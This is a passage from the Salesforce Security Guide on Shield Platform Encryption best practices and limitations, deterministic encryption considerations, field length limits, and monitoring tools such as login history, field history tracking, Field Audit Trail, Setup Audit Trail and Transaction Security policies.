5. Analyze and test AppExchange apps before deploying them.

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• If you use an app from the AppExchange, test how it interacts with encrypted data in your organization and evaluate whether
its functionality is affected.
• If an app interacts with encrypted data that's stored outside of Salesforce, investigate how and where data processing occurs
and how information is protected.
• If you suspect Shield Platform Encryption could affect the functionality of an app, ask the provider for help with evaluation. Also
discuss any custom solutions that must be compatible with Shield Platform Encryption.
• Apps on the AppExchange that are built exclusively using Lightning Platform inherit Shield Platform Encryption capabilities and
limitations.
6. Use out-of-the-box security tools.
Shield Platform Encryption is not a user authentication or authorization tool. To control which users can see which data, use
out-of-the-box tools such as field-level security settings, page layout settings, and sharing rules, rather than Shield Platform Encryption.
7. Grant the Manage Encryption Keys user permission to authorized users only.
Users with the Manage Encryption Keys permission can generate, export, import, and destroy organization-specific keys. Monitor
the key management activities of these users regularly with the setup audit trail.
8. Synchronize your existing data with your active key material.
Existing field and file data is not automatically encrypted when you turn on Shield Platform Encryption. To encrypt existing field
data, update the records associated with the field data. This action triggers encryption for these records so that your existing data
is encrypted at rest. To encrypt existing files or get help updating other encrypted data, contact Salesforce. We can encrypt existing
file data in the background to ensure data alignment with the latest encryption policy and key material.
When you contact Salesforce support to request the background encryption service, allow at least a week before you need the
background encryption completed. The time to complete the process varies based on the volume of data involved. It could take
several days.
9. Handle currency and number data with care.
Currency and Number fields can’t be encrypted because they could have broad functional consequences across the platform, such
as disruptions to roll-up summary reports, report timeframes, and calculations. You can often keep private, sensitive, or regulated
data of this variety safe in other encryption-supported field types.
10. Communicate to your users about the impact of encryption.
Before you enable Shield Platform Encryption in a production environment, inform users about how it affects your business solution.
For example, share the information described in Shield Platform Encryption considerations, where it's relevant to your business
processes.
11. Encrypt your data using the most current key.
When you generate a new tenant secret, any new data is encrypted using this key. However, existing sensitive data remains encrypted
using previous keys. In this situation, Salesforce strongly recommends re-encrypting these fields using the latest key. Contact Salesforce
for help with re-encrypting your data.
12. Use discretion when granting login as access to users or Salesforce Customer Support.
If you grant login access to a user, and they have field level security access to an encrypted field, that user is able to view encrypted
data in that field in plaintext.
If you want Salesforce Customer Support to follow specific processes around asking for or using login as access, you can create
special handling instructions. Salesforce Customer Support follows these instructions in situations where login as access may help
them resolve your case. To set up these special handling instructions, contact your account executive.

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Tradeoffs and Limitations of Shield Platform Encryption
A security solution as powerful as Shield Platform Encryption doesn't come without some tradeoffs.
When your data is encrypted, some users may see limitations to some functionality, and a few
features aren't available at all. Consider the impact on your users and your overall business solution
as you design your encryption strategy.
IN THIS SECTION:
General Shield Platform Encryption Considerations
These considerations apply to all data that you encrypt using Shield Platform Encryption.
Which Salesforce Apps Don’t Support Shield Platform Encryption?
Some Salesforce features work as expected when you work with data that’s encrypted with
Shield Platform Encryption. Others don’t.
Considerations for Using Deterministic Encryption
These considerations apply to data encrypted with Data in Salesforce (Deterministic) key material.

Shield Platform Encryption and the Lightning Experience
Shield Platform Encryption works the same way in the Lightning Experience as it does in Salesforce Classic, with a few minor exceptions.
Field Limits with Shield Platform Encryption
Under certain conditions, encrypting a field can impose limits on the values that you store in that field. If you expect users to enter
non-ASCII values, such as Chinese, Japanese, or Korean-encoded data, we recommend creating validation rules to enforce these
limits.

General Shield Platform Encryption Considerations
These considerations apply to all data that you encrypt using Shield Platform Encryption.

EDITIONS

Leads

Lead and Case assignment rules, workflow rules, and validation rules work normally when Lead
fields are encrypted. Matching and de-duplication of records during lead import works with
deterministically encryption, but not probabilistic encryption. Einstein Lead Scoring is not available.
Apex Lead Conversion works normally, but PL-SQL-based lead conversion is not supported.

Flows and Processes
You can reference encrypted fields in most places in your flows and processes. However, you can’t
reference encrypted fields in these filtering or sorting contexts.
Tool

Filtering Availability

Sorting Availability

Process Builder

Update Records action

n/a

Cloud Flow Designer

Dynamic Record Choice
resource

Fast Lookup element

Record Delete element

Record Lookup element

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Filtering Availability

Sorting Availability

Record Lookup element
Record Update element

You can store the value from an encrypted field in a variable and operate on that value in your flow’s logic. You can also update the
value for an encrypted field.
Paused flow interviews can result in data being saved in an unencrypted state. When a flow or process is waiting to resume, the associated
flow interview is serialized and saved to the database. The flow interview is serialized and saved when:
• Users pause a flow
• Flows execute a Wait element
• Processes are waiting to execute scheduled actions
If the flow or process loads encrypted fields into a variable during these processes, that data might not be encrypted at rest.

Custom Fields
You can’t use encrypted custom fields in criteria-based sharing rules.
Some custom fields can’t be encrypted.
• Fields that have the Unique or External ID attributes or include these attributes on previously encrypted custom fields
(applies only to fields that use the probabilistic encryption scheme)
• Fields on external data objects
• Fields that are used in an account contact relation
You can’t use Schema Builder to create an encrypted custom field.
You can’t use Shield Platform Encryption with Custom Metadata Types.

SOQL/SOSL
• Encrypted fields that use the probabilistic encryption scheme can’t be used with the following SOQL and SOSL clauses and functions:
– Aggregate functions such as MAX(), MIN(), and COUNT_DISTINCT()
– WHERE clause
– GROUP BY clause
– ORDER BY clause
For information about SOQL and SOSL compatibility with deterministic encryption, see Considerations for Using Deterministic
Encryption in Salesforce Help.
Tip: Consider whether you can replace a WHERE clause in a SOQL query with a FIND query in SOSL.
• When you query encrypted data, invalid strings return an INVALID_FIELD error instead of the expected MALFORMED_QUERY.

Portals
If a portal is enabled in your organization, you can’t encrypt standard fields. Deactivate all customer portals and partner portals to enable
encryption on standard fields. (Communities are supported.)

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To deactivate a customer portal, go to the Customer Portal Settings page in Setup. To deactivate a partner portal, go to the Partners
page in Setup.

Search
If you encrypt fields with a key and then destroy the key, the corresponding search terms remain in the search index. However, you can’t
decrypt the data associated with the destroyed key.

Accounts, Person Accounts, and Contacts
When Person Accounts are turned on, encrypting any of the following Account fields encrypts the equivalent Contact fields, and vice
versa.
• Name
• Description
• Phone
• Fax
When you encrypt any of the following Account or Contact fields, the equivalent fields in Person Accounts are also encrypted.
• Name
• Description
• Mailing Address
• Phone
• Fax
• Mobile
• Home Phone
• Other Phone
• Email
When the Account Name or Contact Name field is encrypted, searching for duplicate accounts or contacts to merge doesn’t return any
results.
When you encrypt the First Name or Last Name field on a contact, that contact appears in the Calendar Invite lookup only if you haven’t
filtered by First Name or Last Name.

Email to Salesforce
When the standard Email field is encrypted, the detail page for Contacts, Leads, or Person Accounts doesn’t flag invalid email addresses.
If you need bounce processing to work as expected, don't encrypt the standard Email field.

Salesforce for Outlook
If you encrypt the same fields that you filter in Salesforce for Outlook data sets, Salesforce for Outlook doesn’t sync. To get Salesforce for
Outlook to sync again, remove the encrypted fields from your filters in your data sets.

Campaigns
Campaign member search isn’t supported when you search by encrypted fields.

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Notes
You can encrypt the body text of Notes created with the new Notes tool. However, the Preview file and Notes created with the old Notes
tool aren’t supported.

Field Audit Trail
Data in a previously archived Field Audit Trail isn’t encrypted when you turn on Platform Encryption. For example, say that your org uses
Field Audit Trail to define a data history retention policy for an account field, such as the phone number field. When you turn on encryption
for that field, new phone number records are encrypted as they are created. Previous updates to the phone number field that are stored
in the Account History related list are also encrypted. However, phone number history data that is already archived in the
FieldHistoryArchive object is stored without encryption. To encrypt previously archived data, contact Salesforce.

Communities
If you encrypt the Account Name field and you’re not using Person Accounts, encryption affects how users’ roles are displayed to admins.
Normally, a community user’s role name is displayed as a combination of their account name and the name of their user profile. When
you encrypt the Account Name field, the account ID is displayed instead of the account name.
For example, when the Account Name field is not encrypted, users belonging to the Acme account with the Customer User profile would
have a role called Acme Customer User. When Account Name is encrypted (and Person Accounts aren’t in use), the role is displayed
as something like 001D000000IRt53 Customer User.

Data Import
You can’t use the Data Import Wizard to perform matching using master-detail relationships or update records that contain fields that
use the probabilistic encryption scheme. You can use it to add new records, however.

Reports, Dashboards, and List Views
• Report charts and dashboard components that display encrypted field values might be cached unencrypted.
• You can’t sort records in list views by fields that contain encrypted data.

Encryption for Chatter
When you embed a custom component in your Chatter feed using Rich Publisher Add-Ons, the data related to those add-ons is encoded,
but it isn’t encrypted with the Shield Platform Encryption service. Unencrypted data in Rich Publisher Add-Ons includes data stored in
the Extension ID, Text Representation, Thumbnail URL, Title, Payload, and PayloadVersion fields.

Encryption for Custom Matching Rules Used in Duplicate Management
Custom matching rules can only reference fields encrypted with the deterministic encryption scheme. Probabilistic encryption isn’t
supported. When you rotate your keys, you must deactivate and then reactivate custom matching rules that reference encrypted fields.
If you don’t take this step after updating your key material, matching rules don’t find all your encrypted data.
Standard matching rules that include fields with Shield Platform Encryption don’t detect duplicates. If you encrypt a field included in
standard matching rules, deactivate the standard rule.
Service protections ensure that loads are balanced across the system. The matching service searches for match candidates until they
find all matches or up to 200 matches. With Shield Platform Encryption, the service search maximum is 100 candidates. With encryption,
you could find fewer or no possible duplicate records.
Duplicate jobs aren’t supported.

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General
• Encrypted fields can’t be used in:
– Criteria-based sharing rules
– Similar opportunities searches
– External lookup relationships
– Filter criteria for data management tools
• Live Agent chat transcripts are not encrypted at rest.
• Web-to-Case is supported, but the Web Company, Web Email, Web Name, and Web Phone fields are not encrypted at rest.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Which Salesforce Apps Don’t Support Shield Platform Encryption?
Some Salesforce features work as expected when you work with data that’s encrypted with Shield
Platform Encryption. Others don’t.

EDITIONS

These apps don’t support data encrypted with Shield Platform Encryption. However, you can enable
Shield Platform Encryption for other apps when these apps are in use.

• Connect Offline
• Commerce Cloud
• Data.com
• Einstein Engine
• Heroku (but Heroku Connect does support encrypted data)
• Marketing Cloud (but Marketing Cloud Connect does support encrypted data)
• Pardot (but Pardot Connect supports encrypted contact email addresses if your Pardot org
allows multiple prospects with the same email address)

Available in both Salesforce
Classic and Lightning
Experience.

• Salesforce CPQ
• Salesforce IQ
• Social Customer Service
• Thunder
• Quip
Legacy portals (customer, self-service, and partner) don’t support data encrypted with Shield Platform Encryption. If legacy portals are
active, Shield Platform Encryption can’t be enabled.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Considerations for Using Deterministic Encryption
These considerations apply to data encrypted with Data in Salesforce (Deterministic) key material.

Key Rotation and Filter Availability
To filter and execute queries on fields with unique attributes, new and existing encrypted data must be encrypted with the active Data
in Salesforce (Deterministic) key material. See Synchronize Your Data Encryption with the Background Encryption Service for tips on
timing and placing your background encryption service request.

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Available Fields and Other Data
The deterministic encryption option is available for custom URL, email, phone, text, and text area field types. It isn’t available for the
following types of data:
• Custom date, date/time, long text area, or description field types
• Chatter
• Files and attachments

Filter Operators
In reports and list views, the operators “equals” and “not equal to” are supported with deterministic encryption. Other operators, like
“contains,” “or “starts with,” don’t return an exact match and aren’t supported.

Case Sensitivity
When you use deterministic encryption, case matters. In reports, list views, and SOQL queries on encrypted fields, the results are
case-sensitive. Therefore, a SOQL query against the Contact object, where LastName = 'Jones’, returns only Jones, not jones nor JONES.
Similarly, when the filter-preserving scheme tests for unicity (uniqueness), each version of “Jones” is unique.

API Options to Identify Filterable Fields
Fields encrypted using the deterministic encryption scheme are filterable. You can use the isFilterable() method to determine
the encryption scheme of a particular encrypted field. If the field is filterable, the method returns true.
However, you can’t explicitly detect or set the deterministic encryption scheme via the API.

External ID
You can enable the external ID for deterministically encrypted fields when you use the Unique - Case-Sensitive attribute. External ID isn’t
available for email field types.

Compound Names
Even with deterministic encryption, some kinds of searches don’t work when data is encrypted. Concatenated values, such as compound
names, aren’t the same as the separate values. For example, the ciphertext for the compound name “William Jones” is not the same as
the concatenation of the ciphertexts for “William” and “Jones”.
So, if the First Name and Last Name fields are encrypted in the Contacts object, this query doesn’t work:
Select Id from Contact Where Name = 'William Jones'

But this query does work:
Select Id from Contact Where FirstName = 'William’ And LastName ='Jones'

Filter Records by Strings
You can search for records using strings. However, commas in strings act as OR statements. If your string includes a comma, use quotation
marks around the string. For example, a search for “Universal Containers, Inc, Berlin” returns records that include the full string including
the comma. Searches for Universal Containers, Inc, Berlin returns records that include Universal Containers or Inc or Berlin.

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SOQL GROUP BY Statements
You can use most of the SOQL statements with deterministic encryption. One exception is GROUP BY, which isn’t supported, even though
you can group report results by row or column.

SOQL LIKE and STARTS WITH Statements
Deterministic encryption only supports exact, case-sensitive matches.Comparison operators that return partial matches aren’t supported.
For example, LIKE and STARTS WITH statements aren’t supported.

SOQL ORDER BY Statements
Because deterministic encryption doesn’t maintain the sort order of encrypted data in the database, ORDER BY isn’t supported.

Indexes
Deterministic encryption supports single-column indexes, single-column case-sensitive unique indexes, two-column indexes, and custom
indexes on standard and custom fields.

Shield Platform Encryption and the Lightning Experience
Shield Platform Encryption works the same way in the Lightning Experience as it does in Salesforce
Classic, with a few minor exceptions.

EDITIONS

Notes
Note previews in Lightning are not encrypted.

File Encryption Icon
The icon that indicates that a file is encrypted doesn’t appear in Lightning.

Available in both Salesforce
Classic and Lightning
Experience.

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Field Limits with Shield Platform Encryption
Under certain conditions, encrypting a field can impose limits on the values that you store in that
field. If you expect users to enter non-ASCII values, such as Chinese, Japanese, or Korean-encoded
data, we recommend creating validation rules to enforce these limits.
API
Length

Byte
Length

Non-ASCII Characters

120

Address (To, CC, BCC on Email Message) (beta) 3000

4000

2959

City (Account, Contact, Lead)

120

Email (Contact, Lead)

240

Fax (Account)

120

First Name (Account, Contact, Lead)

120

Last Name (Contact, Lead)

240

Middle Name (Account, Contact, Lead)

120

Name (Custom Object) (beta)

240

Name (Opportunity)

120

360

110

Phone (Account, Contact)

120

Site (Account)

240

Subject (Email Message) (beta)

3000

2207

Title (Contact, Lead)

128

384

126

Assistant Name (Contact)

Note: This list isn’t exhaustive. For information about a field not shown here, refer to the API.

Case Comment Object
The Body field on the Case Comment object has a limit of 4,000 ASCII characters (or 4,000 bytes). However, when these fields are
encrypted, the character limit is lower. How much lower depends on the kind of characters you enter.
• ASCII: 2959
• Chinese, Japanese, Korean: 1333
• Other non-ASCII: 1479
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Monitoring Your Organization’s Security
Track login and field history, monitor setup changes, and take actions based on events.

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Review the following sections for detailed instructions and tips on monitoring the security of your Salesforce organization.
IN THIS SECTION:
Monitor Login History
Admins can monitor all login attempts for their org and enabled portals or communities. The Login History page shows up to 20,000
records of user logins for the past six months. To see more records, download the information to a CSV or GZIP file.
Field History Tracking
You can select certain fields to track and display the field history in the History related list of an object. The field history data is retained
for up to 18 months.
Monitor Setup Changes
Setup Audit Trail tracks the recent setup changes that you and other admins have made to your org. Audit history is especially useful
in orgs with multiple admins.
Transaction Security Policies
Transaction Security is a framework that intercepts real-time Salesforce events and applies appropriate actions and notifications
based on security policies you create. Transaction Security monitors events according to the policies that you set up. When a policy
is triggered, you can receive a notification and have an optional action taken.

Monitor Login History
Admins can monitor all login attempts for their org and enabled portals or communities. The Login
History page shows up to 20,000 records of user logins for the past six months. To see more records,
download the information to a CSV or GZIP file.

Download Login History
You can download the past six months of user logins to your Salesforce org. This report includes
logins through the API.
1. From Setup, enter Login History in the Quick Find box, then select Login History.
2. Select the file format to use.
• CSV File
• GZIP File—Because the file is compressed, it’s the preferred option for the quickest
download time.
3. Select the file contents. The All Logins option includes API access logins.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Contact
Manager, Developer,
Enterprise, Group,
Performance, Professional,
and Unlimited Editions

USER PERMISSIONS
To monitor logins:
• Manage Users

4. Click Download Now.

Create List Views
You can create list views sorted by login time and login URL. For example, you can create a view of all logins in a particular time range.
Like the default view, a custom view shows up to 20,000 records of login history during the past six months.
1. On the Login History page, click Create New View.
2. Enter the name to appear in the View dropdown list.
3. Specify the filter criteria.
4. Select the fields to display.

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Field History Tracking

You can choose up to 15 fields. You can display only the fields that are available in your page layout. Text area fields display up to
255 characters.
Note: Due to the nature of geolocation technology, the accuracy of geolocation fields (for example, country, city, postal code)
can vary.

View Your Login History
You can view your personal login history.
1. From your personal settings, enter Login History in the Quick Find box, then select Login History. No results? Enter
Personal Information in the Quick Find box, then select Personal Information.
2. To download a CSV file of your login history for the past six months, click Download.

Single Sign-On with SAML
If your organization uses SAML single sign-on identity provider certificates, single sign-on logins appear in the history.

My Domain
If you are using My Domain, you can identify which users are logging in with the new login URL and when. From Setup, enter Login
History in the Quick Find box, then select Login History and view the Username and Login URL columns.

License Manager Users
The Login History page sometimes includes internal users with names in the format 033*********2@00d2********db. These users are
associated with the License Management App (LMA), which manages the number of licenses used by a subscriber org. These internal
users can appear in the License Management org (LMO) and in subscriber orgs in which an AppExchange package managed by the
LMA is installed.

Field History Tracking
You can select certain fields to track and display the field history in the History related list of an
object. The field history data is retained for up to 18 months.

EDITIONS

You can track the field history of custom objects and the following standard objects.

Available in: Salesforce
Classic (not available in all
orgs), Lightning Experience,
and the Salesforce app

• Accounts
• Articles
• Assets

Available in: Contact
Manager, Essentials,
Group, Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

• Campaigns
• Cases
• Contacts
• Contracts
• Contract line items

Standard Objects are not
available in Database.com

• Entitlements
• Leads
• Opportunities

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• Orders
• Order Products
• Products
• Service Contracts
• Solutions
Modifying any of these fields adds an entry to the History related list. All entries include the date, time, nature of the change, and who
made the change. Not all field types are available for historical trend reporting. Certain changes, such as case escalations, are always
tracked.
Note: Since the Spring ’15 release, increasing the entity field history retention period beyond the standard 18 months requires
the purchase of the Field Audit Trail add-on. When the add-on subscription is enabled, your field history retention period is changed
to reflect the retention policy provided with your subscription. If your org was created before June 1, 2011, Salesforce continues
to retain all field history. If your org was created on or after June 1, 2011 and you decide not to purchase the add-on, Salesforce
retains your field history for standard 18 months.
Consider the following when working with field history tracking.
• Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded.
• Tracked field values are not automatically translated; they display in the language in which they were made. For example, if a field
is changed from Green to Verde, Verde is displayed no matter what a user’s language is, unless the field value has been
translated into other languages via the Translation Workbench. This behavior also applies to record types and picklist values.
• Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the user viewing
the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then a user with a Spanish
locale sees the custom field label as Rojo. Otherwise, the user sees the custom field label as Red.
• Changes to date fields, number fields, and standard fields are shown in the locale of the user viewing the History related list. For
example, a date change to August 5, 2012 shows as 8/5/2012 for a user with the English (United States) locale, and as
5/8/2012 for a user with the English (United Kingdom) locale.
• If a trigger causes a change on an object the current user doesn’t have permission to edit, that change is not tracked. Field history
honors the permissions of the current user.
• In Lightning, you can see gaps in numerical order in the Created Date and ID fields. All tracked changes still are committed and
recorded to your audit log. However, the exact time that those changes occur in the database can vary widely and aren't guaranteed
to occur within the same millisecond. For example, there can be triggers or updates on a field that increase the commit time, and
you can see a gap in time. During that time period, IDs are created in increasing numerical order but can also have gaps for the same
reason.
• Changes to time fields aren’t tracked in the field history related list.
IN THIS SECTION:
Track Field History for Standard Objects
You can enable field history tracking for standard objects in the object’s management settings.
Track Field History for Custom Objects
You can enable field history tracking for custom objects in the object’s management settings.
Disable Field History Tracking
You can turn off field history tracking from the object’s management settings.
Field Audit Trail
Field Audit Trail lets you define a policy to retain archived field history data up to 10 years from the time the data was archived. This
feature helps you comply with industry regulations related to audit capability and data retention.

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Track Field History for Standard Objects
You can enable field history tracking for standard objects in the object’s management settings.

EDITIONS

If you use both business accounts and person accounts, keep in mind that:
• Field history tracking for accounts applies to both business and person accounts, so the 20-field
maximum includes both types of accounts.
• Changes made directly to a person contact record aren’t tracked by field history.
To set up field history tracking:
1. From the management settings for the object whose field history you want to track, go to the
fields area.
2. Click Set History Tracking.
Tip: When you enable tracking for an object, customize your page layouts to include the
object’s history related list.
3. For accounts, contacts, leads, and opportunities, select the Enable Account History,
Enable Contact History, Enable Lead History, or Enable
Opportunity History checkbox.
4. Choose the fields you want tracked.
You can select a combination of up to 20 standard and custom fields per object. For accounts,
this limit includes fields for both business accounts and person accounts..

Available in: Salesforce
Classic (not available in all
orgs), Lightning Experience,
and the Salesforce app
Available in: Contact
Manager, Essentials,
Group, Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions
Standard Objects are not
available in Database.com

USER PERMISSIONS
To set up which fields are
tracked:
• Customize Application

Certain changes, such as case escalations, are always tracked.
You can’t track the following fields:
• Formula, roll-up summary, or auto-number fields
• Created By and Last Modified By
• Expected Revenue field on opportunities
• Master Solution Title or the Master Solution Details fields on solutions; these fields display only for
translated solutions in organizations with multilingual solutions enabled.
5. Click Save.
Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.

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Track Field History for Custom Objects
You can enable field history tracking for custom objects in the object’s management settings.

EDITIONS

1. From the management settings for the custom object, click Edit.
2. Select the Track Field History checkbox.
Tip: When you enable tracking for an object, customize your page layouts to include the
object’s history related list.
3. Save your changes.
4. Click Set History Tracking in the Custom Fields & Relationships section.
This section lets you set a custom object’s history for both standard and custom fields.
5. Choose the fields you want tracked.
You can select up to 20 standard and custom fields per object. You can’t track:
• Formula, roll-up summary, or auto-number fields

• Created By and Last Modified By

USER PERMISSIONS

6. Click Save.
Salesforce tracks history from this date and time forward. Changes made prior to this date and
time are not included.

To set up which fields are
tracked:
• Customize Application

Disable Field History Tracking
You can turn off field history tracking from the object’s management settings.
Note: You can’t disable field history tracking for an object if Apex references one of its a field
on the object is referenced in Apex.
1. From the management settings for the object whose field history you want to stop tracking,
go to Fields.
2. Click Set History Tracking.
3. Deselect Enable History for the object you are working with—for example, Enable Account
History, Enable Contact History, Enable Lead History, or Enable Opportunity History.
The History related list is automatically removed from the associated object’s page layouts.
If you disable field history tracking on a standard object, you can still report on its history data
up to the date and time that you disabled tracking. If you disable field history tracking on a
custom object, you cannot report on its field history.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs), Lightning Experience,
and the Salesforce app
Available in: Contact
Manager, Essentials,
Group, Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions
Standard Objects are not
available in Database.com

4. Save your changes.

USER PERMISSIONS
To set up which fields are
tracked:
• Customize Application

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Field Audit Trail
Field Audit Trail lets you define a policy to retain archived field history data up to 10 years from the
time the data was archived. This feature helps you comply with industry regulations related to audit
capability and data retention.
Use Salesforce Metadata API to define a retention policy for your field history for fields that have
field history tracking enabled. Then use REST API, SOAP API, and Tooling API to work with your
archived data. For information about enabling Field Audit Trail, contact your Salesforce representative.
Field history is copied from the History related list into the FieldHistoryArchive big object.
You define one HistoryRetentionPolicy for your related history lists, such as Account
History, to specify Field Audit Trail retention policies for the objects you want to archive. You can
then deploy the big object by using the Metadata API (Workbench or Ant Migration Tool). You can
update the retention policy on an object as often as you like.
You can set field history retention policies on the following objects.
• Accounts, including Person Accounts

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs)
Available in: Enterprise,
Performance, and
Unlimited Editions

USER PERMISSIONS
To specify a field history
retention policy:
• Retain Field History

• Assets
• Cases
• Contacts
• Contracts
• Contract Line Items
• Entitlements
• Leads
• Opportunities
• Price Books
• Products
• Service Appointments
• Service Contracts
• Solutions
• Work Orders
• Work Order Line Items
• Custom objects with field history tracking enabled
Note: HistoryRetentionPolicy is automatically set on the supported objects, once Field Audit Trail is enabled. By
default, data is archived after 18 months in a production organization, after one month in a sandbox organization, and all archived
data is stored for 10 years. The default retention policy is not included when retrieving the object’s definition through the Metadata
API. Only custom retention policies are retrieved along with the object definition.
You can include field history retention policies in managed and unmanaged packages.
The following fields can’t be tracked.
• Formula, roll-up summary, or auto-number fields
• Created By and Last Modified By
• Expected Revenue field on opportunities
• Master Solution Title or the Master Solution Details fields on solutions
• Long text fields

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• Multi-select fields
After you define and deploy a Field Audit Trail policy, production data is migrated from related history lists such as Account History into
the FieldHistoryArchive big object. The first copy writes the field history that’s defined by your policy to archive storage and
sometimes takes a long time. Subsequent copies transfer only the changes since the last copy and are much faster. A bounded set of
SOQL is available to query your archived data.
Use Async SOQL to build aggregate reports from a custom object based on the volume of the data in the FieldHistoryArchive
big object.
Note: If your organization has Field Audit Trail enabled, previously archived data isn't encrypted if you turn on Platform Encryption
later. For example, your organization uses Field Audit Trail to define a data history retention policy for an account field, such as the
phone number field. After enabling Platform Encryption, you turn on encryption for that field, and phone number data in the
account is encrypted. New phone number records and previous updates stored in the Account History related list are encrypted.
However, phone number history data that is already archived in the FieldHistoryArchive object remains stored without
encryption. If your organization needs to encrypt previously archived data, contact Salesforce. We encrypt and rearchive the stored
field history data, then delete the unencrypted archive.

Monitor Setup Changes
Setup Audit Trail tracks the recent setup changes that you and other admins have made to your
org. Audit history is especially useful in orgs with multiple admins.

EDITIONS

To view the audit history, from Setup, enter View Setup Audit Trail in the Quick
Find box, then select View Setup Audit Trail. To download your org’s full setup history for the
past 180 days, click Download. After 180 days, setup entity records are deleted.

Available in: both Salesforce
Classic and Lightning
Experience

The history shows the 20 most recent setup changes made to your org. It lists the date of the change,
who made it, and what the change was. If a delegate (like an admin or customer support
representative) makes a setup change on behalf of an end user, the Delegate User column shows
the delegate’s username. For example, if a user grants login access to an admin and the admin
makes a setup change, the admin’s username is listed.

Available in: Contact
Manager, Essentials,
Group, Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

Setup Audit Trail tracks these changes.
Setup

USER PERMISSIONS

Changes Tracked

Administration • Company information, default settings like language or locale, and company
messages
• Multiple currency
• Users, portal users, roles, permission sets, and profiles
• Email addresses for any user
• Deleting email attachments sent as links
• Email footers, including creating, editing, or deleting
• Record types, including creating or renaming record types and assigning
record types to profiles
• Divisions, including creating, editing, and transferring and changing users’
default division
• Certificates, adding or deleting
• Domain names

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To view audit trail history:
• View Setup and
Configuration

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Setup

Monitor Setup Changes

Changes Tracked
• Enabling or disabling Salesforce as an identity provider

Customization

• User interface settings like collapsible sections, Quick Create, hover details, or related list hover links
• Page layout, action layout, and search layouts
• Compact layouts
• Salesforce app navigation menu
• Inline edits
• Custom fields and field-level security, including formulas, picklist values, and field attributes like the
auto-number field format, field manageability, or masking of encrypted fields
• Lead settings, lead assignment rules, and lead queues
• Activity settings
• Support settings, business hours, case assignment and escalation rules, and case queues
• Requests to Salesforce Customer Support
• Tab names, including tabs that you reset to the original tab name
• Custom apps (including Salesforce console apps), custom objects, and custom tabs
• Contract settings
• Forecast settings
• Email-to-Case or On-Demand Email-to-Case, enabling or disabling
• Custom buttons, links, and s-controls, including standard button overrides
• Drag-and-drop scheduling, enabling or disabling
• Similar opportunities, enabling, disabling, or customizing
• Quotes, enabling or disabling
• Data category groups, data categories, and category-group assignments to objects
• Article types
• Category groups and categories
• Salesforce Knowledge settings
• Ideas settings
• Answers settings
• Field tracking in feeds
• Campaign influence settings
• Critical updates, activating or deactivating
• Chatter email notifications, enabling or disabling
• Chatter new user creation settings for invitations and email domains, enabling or disabling
• Validation rules

Security and Sharing • Public groups, sharing rules, and org-wide sharing, including the Grant Access Using Hierarchies option
• Password policies
• Password resets

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Setup

Monitor Setup Changes

Changes Tracked
• Session settings, like session timeout (excluding Session times out after and Session security level
required at login profile settings)
• Delegated administration groups and the items delegated admins can manage (setup changes made by
delegated administrators are also tracked)
• Lightning Login, enabling or disabling, enrollments, and cancellations
• How many records a user emptied from their Recycle Bin and from the org’s Recycle Bin
• SAML (Security Assertion Markup Language) configuration settings
• Salesforce certificates
• Identity providers, enabling or disabling
• Named credentials
• Service providers
• Shield Platform Encryption setup

Data Management

• Mass delete use, including when a mass delete exceeds the user’s Recycle Bin limit on deleted records
• Data export requests
• Mass transfer use
• Reporting snapshots, including defining, deleting, or changing the source report or target object on a
reporting snapshot
• Use of the Data Import Wizard
• Sandbox deletions

Development

• Apex classes and triggers
• Visualforce pages, custom components, and static resources
• Lightning pages
• Action link templates
• Custom settings
• Custom metadata types and records
• Remote access definitions
• Salesforce Sites settings

Various Setup

• API usage metering notification, creating
• Territories
• Process automation settings
• Approval processes
• Workflow actions, creating or deleting
• Flows
• Packages from Salesforce AppExchange that you installed or uninstalled

Using the application • Account team and opportunity team selling settings
• Activating Google Apps services

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Setup

Transaction Security Policies

Changes Tracked
• Mobile configuration settings, including data sets, mobile views, and excluded fields
• Users with the “Manage External Users” permission logging in to the partner portal as partner users
• Users with the “Edit Self-Service Users” permission logging in to the Salesforce Customer Portal as Customer
Portal users
• Partner portal accounts, enabling or disabling
• Salesforce Customer Portal accounts, disabling
• Salesforce Customer Portal, enabling or disabling
• Creating multiple Customer Portals
• Entitlement processes and entitlement templates, changing or creating
• Self-registration for a Salesforce Customer Portal, enabling or disabling
• Customer Portal or partner portal users, enabling or disabling

Transaction Security Policies
Transaction Security is a framework that intercepts real-time Salesforce events and applies appropriate
actions and notifications based on security policies you create. Transaction Security monitors events
according to the policies that you set up. When a policy is triggered, you can receive a notification
and have an optional action taken.
Policies evaluate activity using events that you specify. For each policy, you define real-time actions,
such as notify, block, force two-factor authentication, freeze user, or end a session.
For example, suppose that you activate the Concurrent Sessions Limiting policy to limit the number
of concurrent sessions per user. In addition, you change the policy to notify you via email when the
policy is triggered. You also update the policy’s Apex implementation to limit users to three sessions
instead of the default five sessions. (That’s easier than it sounds.) Later, someone with three login
sessions tries to create a fourth. The policy prevents that and requires the user to end one of the
existing sessions before proceeding with the new session. At the same time, you are notified that
the policy was triggered.
The Transaction Security architecture uses the Security Policy Engine to analyze events and determine
the necessary actions.

234

EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
Requires purchasing
Salesforce Shield or
Salesforce Event Monitoring
add-on subscriptions.

Salesforce Security Guide

Transaction Security Policies

A transaction security policy consists of events, notifications, and actions. For example, when a user tries to export Account data, you
can block the operation and get notified by email.
IN THIS SECTION:
Set Up Transaction Security
Activate and configure transaction security on your org before creating your own custom policies. Only an active user assigned the
System Administrator profile can use this feature.
Create Transaction Security Policies
Create your own custom policies, triggered by specific events. Only an active user assigned the System Administrator profile can
use this feature.
Apex Policies for Transaction Security
Every Transaction Security policy must implement the Apex TxnSecurity.PolicyCondition interface.

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Set Up Transaction Security
Activate and configure transaction security on your org before creating your own custom policies.
